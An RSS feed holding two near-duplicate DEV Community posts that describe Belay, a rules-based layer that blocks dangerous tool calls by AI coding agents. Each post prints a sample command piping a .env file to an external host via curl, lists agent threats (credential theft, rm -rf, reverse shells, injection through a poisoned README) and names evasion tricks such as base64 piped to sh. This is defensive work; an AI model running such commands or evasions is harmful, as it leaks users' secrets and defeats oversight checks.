<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Dennis Liu</title>
    <description>The latest articles on DEV Community by Dennis Liu (@aldimorningstar).</description>
    <link>https://dev.to/aldimorningstar</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4043942%2Fa59e46a9-3886-4c34-bb31-6af2a04e8703.png</url>
      <title>DEV Community: Dennis Liu</title>
      <link>https://dev.to/aldimorningstar</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/aldimorningstar"/>
    <language>en</language>
    <item>
      <title>The tool-call boundary is where AI agent security actually happens</title>
      <dc:creator>Dennis Liu</dc:creator>
      <pubDate>Sat, 25 Jul 2026 08:21:33 +0000</pubDate>
      <link>https://dev.to/aldimorningstar/the-tool-call-boundary-is-where-ai-agent-security-actually-happens-5df2</link>
      <guid>https://dev.to/aldimorningstar/the-tool-call-boundary-is-where-ai-agent-security-actually-happens-5df2</guid>
      <description>&lt;p&gt;I gave my coding agent shell access and mostly it was great — until it wasn't.&lt;/p&gt;

&lt;p&gt;One session it proposed a command that would've wiped a sibling directory. Another tried to exfiltrate a &lt;code&gt;.env&lt;/code&gt; over &lt;code&gt;curl&lt;/code&gt; "to test the deploy." Neither was malice; both were an agent faithfully turning some text in its context window into an action. And once an agent can run commands, the distance between "helpful" and "incident" is one bad tool call.&lt;/p&gt;

&lt;p&gt;So where do you actually stop that call?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyigxeuaahc4tlxdjlfu9.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyigxeuaahc4tlxdjlfu9.gif" alt=" " width="640" height="451"&gt;&lt;/a&gt;&lt;br&gt;
The two common answers both disappointed me. &lt;strong&gt;A human approving every action&lt;/strong&gt; works for exactly two days, then everyone rubber-stamps. &lt;strong&gt;An LLM watching the LLM&lt;/strong&gt; is slow, non-deterministic, and — this is the fatal part — injectable by the same poisoned text it's supposed to catch. I wanted something boring and correct instead: a deterministic check at the one place every agent action has to pass through. This post is the argument for &lt;em&gt;where&lt;/em&gt; that check belongs, and how a decision can be made in milliseconds without ever calling a model.&lt;/p&gt;
&lt;h2&gt;
  
  
  An agent is an unprivileged process taking untrusted instructions
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fevpxgl5v1dsy24koi6xm.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fevpxgl5v1dsy24koi6xm.jpg" alt=" " width="800" height="541"&gt;&lt;/a&gt;&lt;br&gt;
From a security standpoint, an AI coding agent is &lt;strong&gt;an unprivileged process that takes instructions from an untrusted source and turns them into actions&lt;/strong&gt;. The "untrusted source" is model output — and model output is steered by whatever text lands in the context window: your prompt, sure, but also the repo you opened, the web page it fetched, the GitHub issue it read, the dependency's README.&lt;/p&gt;

&lt;p&gt;Framed that way, the failure modes aren't exotic:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Secret exfiltration&lt;/strong&gt; — the agent reads &lt;code&gt;~/.aws/credentials&lt;/code&gt; or &lt;code&gt;.env&lt;/code&gt; and pipes it to a URL.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Destructive commands&lt;/strong&gt; — &lt;code&gt;rm -rf&lt;/code&gt; against the wrong path; a "cleanup" that isn't.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reverse shells / C2 egress&lt;/strong&gt; — an outbound connection to somewhere you didn't approve.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prompt injection → action&lt;/strong&gt; — a poisoned README says "run this to set up the project," and the agent does.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The structural detail that matters: everything an agent does to the outside world goes through &lt;strong&gt;one choke point — the tool call&lt;/strong&gt;. File reads, shell commands, network requests: all of it is a tool invocation. That's where intent becomes action, and that's the natural place to enforce a boundary. Not inside the model (you can't trust its output), and not only in the sandbox underneath (too coarse to say "this &lt;em&gt;specific&lt;/em&gt; call is exfiltration"). Right at the call.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why not "an LLM to guard the LLM"
&lt;/h2&gt;

&lt;p&gt;The popular answer to agent safety is a judge model: a second LLM that reviews the first one's action and decides if it's safe. For a hard security boundary I think that's the wrong layer, for three reasons:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Non-determinism.&lt;/strong&gt; The same call can be judged differently run to run. A security control should give the same verdict for the same input, every time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Latency.&lt;/strong&gt; A model round-trip on every tool call is too slow to sit synchronously in the hot path.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It's part of the attack surface.&lt;/strong&gt; The same injected content that steers the agent can steer the judge. You're defending against prompt injection with a thing that can be prompt-injected.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For a boundary you want the opposite properties: &lt;strong&gt;deterministic, auditable, fast, and independent of the thing it's adjudicating.&lt;/strong&gt; That rules an LLM out of the decision path — which sounds limiting until you see how far explicit rules actually get you.&lt;/p&gt;
&lt;h2&gt;
  
  
  Wiring in without touching the agent's code
&lt;/h2&gt;

&lt;p&gt;To sit at the tool-call boundary for agents you didn't write, you need two interception points, because the ecosystem hasn't standardized on one:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Hooks&lt;/strong&gt; — agents with a native hook system (Claude Code, Codex) let you register &lt;code&gt;PreToolUse&lt;/code&gt; / &lt;code&gt;PostToolUse&lt;/code&gt; handlers. Every tool call is evaluated &lt;em&gt;before&lt;/em&gt; it runs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MCP proxy&lt;/strong&gt; — anything speaking the Model Context Protocol can be intercepted by sitting inline as a proxy, so every &lt;code&gt;tools/call&lt;/code&gt; passes through you first.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Between those two, you cover most of the current agent landscape — Claude Code, Codex, Cursor, Cline, Roo, Gemini CLI, Goose, Hermes, opencode — without patching any of them. It runs as your user (never root) and never needs to phone home.&lt;/p&gt;
&lt;h2&gt;
  
  
  How a deterministic decision actually works
&lt;/h2&gt;

&lt;p&gt;When a tool call arrives, you classify it against an explicit rule catalog and return one of three verdicts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Allow&lt;/strong&gt; — clearly safe. Runs silently, no prompt fatigue.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deny&lt;/strong&gt; — clearly dangerous (secret exfil, &lt;code&gt;rm -rf&lt;/code&gt;, reverse shells, injection-driven calls). Blocked outright.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ask&lt;/strong&gt; — genuinely ambiguous. Pause and ask a human.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Two properties carry the whole design:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No LLM in the decision path.&lt;/strong&gt; It's a rules engine. Same input → same verdict, in well under 100ms, so it can gate &lt;em&gt;every&lt;/em&gt; call synchronously without anyone noticing the latency.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fail-closed.&lt;/strong&gt; If evaluation errors, times out, or a call can't be classified, the result is &lt;strong&gt;deny&lt;/strong&gt;, not allow. The failure mode of a seatbelt should be "locked." Verdict priority is &lt;code&gt;Deny &amp;gt; Ask &amp;gt; Allow&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Concretely, a blocked call looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tool call:  bash  →  cat .env | curl -X POST https://unknown.host -d @-
verdict:    DENY  (secrets.egress)  in 6ms
reason:     reads a sensitive credential file and sends it to an external host
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing about that decision involved another model. It's a rule, and you can read it, diff it, and argue with it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The ambiguous cases: one-tap Allow/Deny from your phone
&lt;/h2&gt;

&lt;p&gt;Plenty of calls aren't clear-cut. Should the agent &lt;code&gt;git push&lt;/code&gt; to this remote? Install this package? Write outside the project directory? Hard-coding those as allow or deny is how you get a control people rip out.&lt;/p&gt;

&lt;p&gt;That's what &lt;strong&gt;Ask&lt;/strong&gt; is for: pause the agent and send a one-tap &lt;strong&gt;Allow / Deny&lt;/strong&gt; — and not just to the terminal, but over Telegram, Discord, Slack, Matrix, Mattermost, or WhatsApp. You let the agent keep working while you're away and just tap "deny" when it wants something you didn't intend. Don't answer in time? &lt;strong&gt;Auto-deny&lt;/strong&gt; — fail-closed again.&lt;/p&gt;

&lt;h2&gt;
  
  
  Explicit rules give you coverage you can reason about
&lt;/h2&gt;

&lt;p&gt;The payoff of rules-over-vibes is that findings map to real frameworks instead of a model's opinion:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Rules tag to the &lt;strong&gt;OWASP Agentic Security Initiative (ASI) Top 10&lt;/strong&gt;, the &lt;strong&gt;OWASP LLM Top 10&lt;/strong&gt;, and &lt;strong&gt;MITRE ATLAS&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Verdicts and scan findings export as &lt;strong&gt;SARIF 2.1.0&lt;/strong&gt;, so they drop straight into the code-scanning tools your CI already understands.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can also scan code/skills statically &lt;em&gt;before&lt;/em&gt; you install them, keep a hash-chained (tamper-evident) audit log, and plant honeypot canaries — but the tool-call boundary is the core idea; the rest is defense-in-depth around it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Honest limits — where this approach can be pushed
&lt;/h2&gt;

&lt;p&gt;I'd rather state what this &lt;em&gt;doesn't&lt;/em&gt; do than get called out for it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;It's a policy layer, not a sandbox.&lt;/strong&gt; It's detect-and-respond at the application boundary via hooks/proxy — not kernel-level prevention. Real defense-in-depth still wants containers or VMs underneath.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deterministic rules mean an evasion arms race.&lt;/strong&gt; Obfuscated command construction (base64-piped-to-&lt;code&gt;sh&lt;/code&gt;, staged writes, living-off-the-land binaries) is a genuine surface. This is the part I'm least done with.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Human-in-the-loop trades security for UX.&lt;/strong&gt; Too many "Ask" prompts and people click through them blindly. Tuning the allow/ask/deny line is ongoing work, not a solved problem.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  I built this, and it's open source
&lt;/h2&gt;

&lt;p&gt;The above isn't hypothetical — I implemented it as &lt;strong&gt;&lt;a href="https://github.com/SECBLOK/belay" rel="noopener noreferrer"&gt;Belay&lt;/a&gt;&lt;/strong&gt;, an open-source (AGPL-3.0), local-first policy layer for AI coding agents. One installer auto-detects the agents you already run and wires in via hooks or the MCP proxy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://dl.belay.secblok.io/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Docs and the desktop app are at &lt;strong&gt;&lt;a href="https://belay.secblok.io" rel="noopener noreferrer"&gt;belay.secblok.io&lt;/a&gt;&lt;/strong&gt;; the repo is &lt;strong&gt;&lt;a href="https://github.com/SECBLOK/belay" rel="noopener noreferrer"&gt;github.com/SECBLOK/belay&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;If you run agents unattended, I'd genuinely value pushback on two things: are the default deny rules too aggressive for real workflows, and where's the evasion surface I'm not seeing? The allow/deny rules are all in the open — come argue with them, break them, and PR the ones I missed.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>opensource</category>
      <category>devtools</category>
    </item>
    <item>
      <title>I built a security layer for AI coding agents — here's how it decides, with no LLM in the loop</title>
      <dc:creator>Dennis Liu</dc:creator>
      <pubDate>Thu, 23 Jul 2026 13:52:21 +0000</pubDate>
      <link>https://dev.to/aldimorningstar/i-built-a-security-layer-for-ai-coding-agents-heres-how-it-decides-with-no-llm-in-the-loop-g7h</link>
      <guid>https://dev.to/aldimorningstar/i-built-a-security-layer-for-ai-coding-agents-heres-how-it-decides-with-no-llm-in-the-loop-g7h</guid>
      <description>&lt;p&gt;I gave my coding agent shell access and mostly it was great — until it wasn't.&lt;/p&gt;

&lt;p&gt;One session it proposed a command that would've wiped a sibling directory. Another tried to exfiltrate a &lt;code&gt;.env&lt;/code&gt; over &lt;code&gt;curl&lt;/code&gt; "to test the deploy." The usual answer is a human approving every call, which nobody actually does past day two. The other answer — an LLM watching the LLM — is slow, non-deterministic, and itself injectable.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8f1txaz0sl3zzrnnok35.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8f1txaz0sl3zzrnnok35.jpg" alt=" " width="800" height="539"&gt;&lt;/a&gt;&lt;br&gt;
I wanted something boring and correct: a deterministic policy engine at the tool-call boundary that blocks the clearly-dangerous stuff in milliseconds and only interrupts me when a call is genuinely ambiguous.&lt;/p&gt;

&lt;p&gt;That's &lt;a href="https://github.com/SECBLOK/belay" rel="noopener noreferrer"&gt;Belay&lt;/a&gt;. It's open source (AGPL-3.0), local-first, and runs as your user. Here's the threat model, where it sits, and exactly how it makes a decision without ever calling a model.&lt;/p&gt;
&lt;h2&gt;
  
  
  The threat model: what goes wrong when agents get tool access
&lt;/h2&gt;

&lt;p&gt;From a security standpoint, an AI coding agent is an &lt;strong&gt;unprivileged process that takes instructions from an untrusted source and turns them into actions&lt;/strong&gt;. The "untrusted source" is model output — and model output is steered by whatever text lands in the context window: your prompt, sure, but also the repo you opened, the web page it fetched, the GitHub issue it read, the dependency's README.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnc4o3zge1122aktreoff.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnc4o3zge1122aktreoff.jpg" alt=" " width="800" height="541"&gt;&lt;/a&gt;&lt;br&gt;
So the failure modes aren't exotic:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Secret exfiltration&lt;/strong&gt; — the agent reads &lt;code&gt;~/.aws/credentials&lt;/code&gt; or &lt;code&gt;.env&lt;/code&gt; and pipes it to a URL.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Destructive commands&lt;/strong&gt; — &lt;code&gt;rm -rf&lt;/code&gt; against the wrong path; a "cleanup" that isn't.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reverse shells / C2 egress&lt;/strong&gt; — an outbound connection to somewhere you didn't approve.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prompt injection → action&lt;/strong&gt; — a poisoned README says "run this to set up the project," and the agent does.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The important structural detail: everything the agent does to the outside world goes through &lt;strong&gt;one choke point — the tool call&lt;/strong&gt;. That's where intent becomes action, and that's where I think enforcement belongs.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why not "an LLM to guard the LLM"
&lt;/h2&gt;

&lt;p&gt;The popular answer to agent safety is a judge model: a second LLM that reviews the first one's action and decides if it's safe. I think that's the wrong layer for a hard security boundary, for three reasons:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Non-determinism.&lt;/strong&gt; The same call can be judged differently run to run. A security control should give the same verdict for the same input, every time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Latency.&lt;/strong&gt; A model round-trip on every tool call is too slow to sit synchronously in the hot path.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It's part of the attack surface.&lt;/strong&gt; The same injected content that steers the agent can steer the judge. You're defending against prompt injection with a thing that can be prompt-injected.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For a boundary you want the opposite properties: deterministic, auditable, fast, and independent of the thing it's adjudicating.&lt;/p&gt;
&lt;h2&gt;
  
  
  Where Belay sits
&lt;/h2&gt;

&lt;p&gt;Belay wires in at the tool-call boundary two ways, so it's agent-agnostic:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Hooks&lt;/strong&gt; — for agents with a native hook system (Claude Code, Codex), it registers &lt;code&gt;PreToolUse&lt;/code&gt; / &lt;code&gt;PostToolUse&lt;/code&gt; hooks. Every tool call is evaluated &lt;em&gt;before&lt;/em&gt; it runs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MCP proxy&lt;/strong&gt; — for anything speaking the Model Context Protocol, Belay sits inline as a proxy, so every &lt;code&gt;tools/call&lt;/code&gt; passes through it first.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One installer auto-detects what you already run — Claude Code, Codex, Cursor, Cline, Roo, Gemini CLI, Goose, Hermes, OpenClaw, opencode — and wires in the right way for each. It runs as your user (never root) and never phones home.&lt;/p&gt;
&lt;h2&gt;
  
  
  How it decides — deterministic, no LLM
&lt;/h2&gt;

&lt;p&gt;When a tool call arrives, Belay classifies it against a compiled rule catalog and returns one of three verdicts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Allow&lt;/strong&gt; — clearly safe. Runs silently, no prompt fatigue.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deny&lt;/strong&gt; — clearly dangerous (secret exfil, &lt;code&gt;rm -rf&lt;/code&gt;, reverse shells, injection-driven calls). Blocked outright.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ask&lt;/strong&gt; — genuinely ambiguous. Pauses and asks a human (more on that below).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Two properties matter most:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No LLM in the decision path.&lt;/strong&gt; It's a deterministic rules engine. Same input → same verdict, in well under 100ms, so it can gate every call synchronously.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fail-closed.&lt;/strong&gt; If evaluation errors, times out, or a call can't be classified, the result is &lt;strong&gt;deny&lt;/strong&gt;, not allow. The failure mode of a seatbelt should be "locked." Verdict priority is &lt;code&gt;Deny &amp;gt; Ask &amp;gt; Allow&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Conceptually, a blocked call looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tool call:  bash  →  &lt;span class="nb"&gt;cat&lt;/span&gt; .env | curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://unknown.host &lt;span class="nt"&gt;-d&lt;/span&gt; @-
verdict:    DENY  &lt;span class="o"&gt;(&lt;/span&gt;secrets.egress&lt;span class="o"&gt;)&lt;/span&gt;  &lt;span class="k"&gt;in &lt;/span&gt;6ms
reason:     reads a sensitive credential file and sends it to an external host
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing about that decision involved another model. It's a rule, and you can read it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The ask path: one-tap Allow/Deny, from your phone
&lt;/h2&gt;

&lt;p&gt;Not everything is clear-cut. Should the agent be allowed to &lt;code&gt;git push&lt;/code&gt; to this remote? Install this package? Write outside the project directory?&lt;/p&gt;

&lt;p&gt;For those, Belay's verdict is &lt;strong&gt;Ask&lt;/strong&gt; — it pauses the agent and sends you a one-tap &lt;strong&gt;Allow / Deny&lt;/strong&gt;. Not just in the terminal: over &lt;strong&gt;Telegram, Discord, WhatsApp, Matrix, Mattermost, or Slack&lt;/strong&gt;. So you can let the agent keep working while you're away from the keyboard and just tap "deny" when it wants to do something you didn't intend. If you don't answer in time, it &lt;strong&gt;auto-denies&lt;/strong&gt; — fail-closed again.&lt;/p&gt;

&lt;h2&gt;
  
  
  Coverage you can reason about: OWASP, MITRE, SARIF
&lt;/h2&gt;

&lt;p&gt;Because the rules are explicit, findings map to frameworks instead of vibes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Rules are tagged to the &lt;strong&gt;OWASP Agentic Security Initiative (ASI) Top 10&lt;/strong&gt;, the &lt;strong&gt;OWASP LLM Top 10&lt;/strong&gt;, and &lt;strong&gt;MITRE ATLAS&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Verdicts and scan findings export as &lt;strong&gt;SARIF 2.1.0&lt;/strong&gt;, so they drop into the code-scanning tools your CI already understands.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There's also a static scanner for code/skills &lt;em&gt;before&lt;/em&gt; you install them, a hash-chained (tamper-evident) audit log, and honeypot canaries — but the tool-call boundary is the core.&lt;/p&gt;

&lt;h2&gt;
  
  
  Honest limits — where I'd want you to push
&lt;/h2&gt;

&lt;p&gt;I'd rather tell you what this &lt;em&gt;doesn't&lt;/em&gt; do than get called out for it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;It's a policy layer, not a sandbox.&lt;/strong&gt; It's detect-and-respond at the application boundary via hooks/proxy — not kernel-level prevention. Defense-in-depth still wants containers or VMs underneath.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deterministic rules mean an evasion arms race.&lt;/strong&gt; Obfuscated command construction (base64-piped-to-sh, staged writes, living-off-the-land binaries) is a real surface. I'd genuinely like input here.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Human-in-the-loop trades security for UX.&lt;/strong&gt; Too many "Ask" prompts and people click through them. Tuning the allow/ask/deny line is ongoing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;curl -fsSL &lt;a href="https://dl.belay.secblok.io/install.sh" rel="noopener noreferrer"&gt;https://dl.belay.secblok.io/install.sh&lt;/a&gt; | bash&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or grab the desktop app / see the docs at &lt;strong&gt;&lt;a href="https://belay.secblok.io" rel="noopener noreferrer"&gt;belay.secblok.io&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Repo:&lt;/strong&gt; &lt;a href="https://github.com/SECBLOK/belay" rel="noopener noreferrer"&gt;https://github.com/SECBLOK/belay&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Discord:&lt;/strong&gt; &lt;a href="https://discord.com/invite/pySdeDFy6y" rel="noopener noreferrer"&gt;https://discord.com/invite/pySdeDFy6y&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you run agents unattended, I'd love your feedback on two things specifically: are the default deny rules too aggressive for real workflows, and where's the evasion surface I'm not seeing? The block/allow rules are in the open — come argue with them, break them, and PR the ones I missed.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>opensource</category>
      <category>devtool</category>
    </item>
  </channel>
</rss>
